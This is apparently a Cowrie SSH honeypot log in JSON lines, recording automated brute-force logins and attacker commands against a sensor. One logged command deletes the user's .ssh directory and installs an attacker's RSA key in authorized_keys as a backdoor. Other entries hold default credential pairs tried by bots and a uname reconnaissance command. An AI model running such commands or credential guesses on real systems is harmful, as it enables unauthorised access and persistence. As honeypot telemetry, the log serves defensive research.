{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.238068Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.428433Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.432202Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":47990,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b863386ff0","protocol":"ssh","message":"New connection: 118.219.234.233:47990 (10.17.0.5:22) [session: 33b863386ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.607822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.612654Z","src_ip":"118.219.234.233","session":"33b863386ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:02.795987Z","src_ip":"118.219.234.233","session":"33b863386ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:03.559579Z","src_ip":"118.219.234.233","session":"33b863386ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:04.745749Z","src_ip":"118.219.234.233","session":"33b863386ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d59740b95a8","protocol":"ssh","message":"New connection: 118.219.234.233:48710 (10.17.0.5:22) [session: 9d59740b95a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:04.931357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:04.935881Z","src_ip":"118.219.234.233","session":"9d59740b95a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:05.123197Z","src_ip":"118.219.234.233","session":"9d59740b95a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:05.905751Z","src_ip":"118.219.234.233","session":"9d59740b95a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:06.093106Z","src_ip":"118.219.234.233","session":"a9827ec5b778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:06.097202Z","src_ip":"118.219.234.233","session":"9d59740b95a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4d7f38d2136","protocol":"ssh","message":"New connection: 193.32.162.145:46792 (10.17.0.5:22) [session: b4d7f38d2136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:09.527747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:09.531924Z","src_ip":"193.32.162.145","session":"b4d7f38d2136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:09.640915Z","src_ip":"193.32.162.145","session":"b4d7f38d2136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:09.939066Z","src_ip":"193.32.162.145","session":"b4d7f38d2136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:48:11.039749Z","src_ip":"193.32.162.145","session":"b4d7f38d2136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37996,"dst_ip":"10.17.0.5","dst_port":22,"session":"40fc6950d471","protocol":"ssh","message":"New connection: 162.120.6.20:37996 (10.17.0.5:22) [session: 40fc6950d471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:12.671394Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:12.740612Z","src_ip":"162.120.6.20","session":"40fc6950d471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":38004,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e66191b4a0","protocol":"ssh","message":"New connection: 162.120.6.20:38004 (10.17.0.5:22) [session: 56e66191b4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:12.804989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:12.809526Z","src_ip":"162.120.6.20","session":"56e66191b4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:12.877146Z","src_ip":"162.120.6.20","session":"56e66191b4a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo12345","message":"login attempt [ubuntu/demo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:13.079527Z","src_ip":"162.120.6.20","session":"56e66191b4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:14.149525Z","src_ip":"162.120.6.20","session":"56e66191b4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33836,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d44d74f18ab","protocol":"ssh","message":"New connection: 2.57.122.210:33836 (159.203.135.109:22) [session: 8d44d74f18ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:19.255170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:19.258945Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:19.357530Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:19.653891Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:19.904494Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:19.906854Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:20.007939Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:20.012569Z","src_ip":"2.57.122.210","session":"8d44d74f18ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":35696,"dst_ip":"159.203.135.109","dst_port":22,"session":"898cdc8af0ec","protocol":"ssh","message":"New connection: 92.118.39.72:35696 (159.203.135.109:22) [session: 898cdc8af0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:21.953965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:21.958079Z","src_ip":"92.118.39.72","session":"898cdc8af0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:22.064204Z","src_ip":"92.118.39.72","session":"898cdc8af0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:22.428621Z","src_ip":"92.118.39.72","session":"898cdc8af0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:49:23.533067Z","src_ip":"92.118.39.72","session":"898cdc8af0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60704,"dst_ip":"10.17.0.5","dst_port":22,"session":"4543cc95a598","protocol":"ssh","message":"New connection: 193.32.162.145:60704 (10.17.0.5:22) [session: 4543cc95a598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:16.327833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:16.331760Z","src_ip":"193.32.162.145","session":"4543cc95a598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:16.440710Z","src_ip":"193.32.162.145","session":"4543cc95a598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:16.799885Z","src_ip":"193.32.162.145","session":"4543cc95a598","protocol":"ssh"}
